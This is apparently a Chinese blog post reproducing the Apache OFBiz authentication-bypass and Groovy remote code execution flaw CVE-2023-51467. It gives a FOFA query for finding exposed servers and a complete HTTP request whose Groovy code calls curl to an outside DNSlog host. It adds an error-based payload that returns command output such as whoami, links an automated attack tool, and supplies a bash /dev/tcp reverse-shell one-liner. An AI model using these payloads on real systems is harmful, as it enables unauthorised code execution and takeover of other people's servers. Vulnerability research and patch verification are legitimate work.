当前位置: 首页 > news >正文

Apache OFBiz groovy 远程代码执行漏洞(CVE-2023-51467)复现

Apache OFBiz groovy 远程代码执行漏洞,攻击者可构造请求绕过身份认证,利用后台相关接口功能执行groovy代码,导致远程代码执行。

1.漏洞级别

高危

2.漏洞搜索

fofa

app="Apache_OFBiz"

3.影响范围

Apache OFBiz <= 18.12.10

4.漏洞复现

构造请求包

POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184groovyProgram=import%20groovy.lang.GroovyShell%0d%0a%0d%0aGroovyShell%20shell%20%3d%20new%20GroovyShell()%3b%0d%0ashell.evaluate('%22curl%20CVE-2023-51467.y6x162.ceye.io%22.execute()')

如果dnslog收到了响应,证明漏洞存在
在这里插入图片描述注:content-type为必须正确的,否则服务器会解析失败 导致无法正常响应

5.漏洞利用进阶

5.1 利用脚本

由于该漏洞本身无回显,所以可以利用java报错机制来产生回显,构造如下payload

groovyProgram=throw+new+Exception%28%22whoami%22.execute%28%29.text%29%3B

这种情况下会直接触发java报错 返回到页面,效果如下:
在这里插入图片描述

感兴趣的可以直接查看这个项目,有自动化的利用工具:

https://github.com/D0g3-8Bit/OFBiz-Attack

5.2 反弹shell

我们也可以通过直接反弹shell的方式来进一步利用。

bash -i >& /dev/tcp/ip/port 0>&1

注:反弹shell很可能会触发安全机制 导致反弹失败。

在这里插入图片描述

相关文章:

  • 在windows11系统上利用docker搭建linux记录
  • C++内存分配策略
  • 《微信小程序开发从入门到实战》学习七十九
  • Leaflet + Vue使用案例
  • (学习日记)2024.01.09
  • pyspark 使用udf 进行预测,发现只起了一个计算节点
  • 半监督学习 - 自训练(Self-training)
  • java进阶-java与http
  • Android Gradle Plugin、Gradle、Android Studio版本关系
  • 具有15µA低消耗电流、零漂移、轨到轨输入输出、高EMC抑制特性的 双路运算放大器“NL6012”上市
  • ffmpeg写YUV420文件碰到阶梯型横线或者条纹状画面的原因和解决办法
  • Camunda Spin
  • 【ASP.NET Core 基础知识】--MVC框架--Models和数据绑定
  • 记忆泊车PNC模块架构设计说明书
  • Mysql的in与exits
  • 【译】JS基础算法脚本:字符串结尾
  • canvas 五子棋游戏
  • CoolViewPager:即刻刷新,自定义边缘效果颜色,双向自动循环,内置垂直切换效果,想要的都在这里...
  • HashMap剖析之内部结构
  • Hexo+码云+git快速搭建免费的静态Blog
  • HTTP中的ETag在移动客户端的应用
  • Invalidate和postInvalidate的区别
  • JavaScript中的对象个人分享
  • magento 货币换算
  • vue-cli在webpack的配置文件探究
  • 编写高质量JavaScript代码之并发
  • 高性能JavaScript阅读简记(三)
  • 基于Mobx的多页面小程序的全局共享状态管理实践
  • 将 Measurements 和 Units 应用到物理学
  • 京东美团研发面经
  • 扑朔迷离的属性和特性【彻底弄清】
  • 前端之Sass/Scss实战笔记
  • 首页查询功能的一次实现过程
  • 算法系列——算法入门之递归分而治之思想的实现
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • #每天一道面试题# 什么是MySQL的回表查询
  • $NOIp2018$劝退记
  • (¥1011)-(一千零一拾一元整)输出
  • (4) openssl rsa/pkey(查看私钥、从私钥中提取公钥、查看公钥)
  • (ctrl.obj) : error LNK2038: 检测到“RuntimeLibrary”的不匹配项: 值“MDd_DynamicDebug”不匹配值“
  • (pojstep1.3.1)1017(构造法模拟)
  • (阿里云万网)-域名注册购买实名流程
  • (附源码)springboot掌上博客系统 毕业设计063131
  • (十) 初识 Docker file
  • (推荐)叮当——中文语音对话机器人
  • (转)socket Aio demo
  • (转)程序员疫苗:代码注入
  • .Net - 类的介绍
  • .NET 6 在已知拓扑路径的情况下使用 Dijkstra,A*算法搜索最短路径
  • .NET MVC之AOP
  • .NET/C# 使用反射调用含 ref 或 out 参数的方法
  • .net访问oracle数据库性能问题
  • .pings勒索病毒的威胁:如何应对.pings勒索病毒的突袭?
  • .project文件
  • /dev下添加设备节点的方法步骤(通过device_create)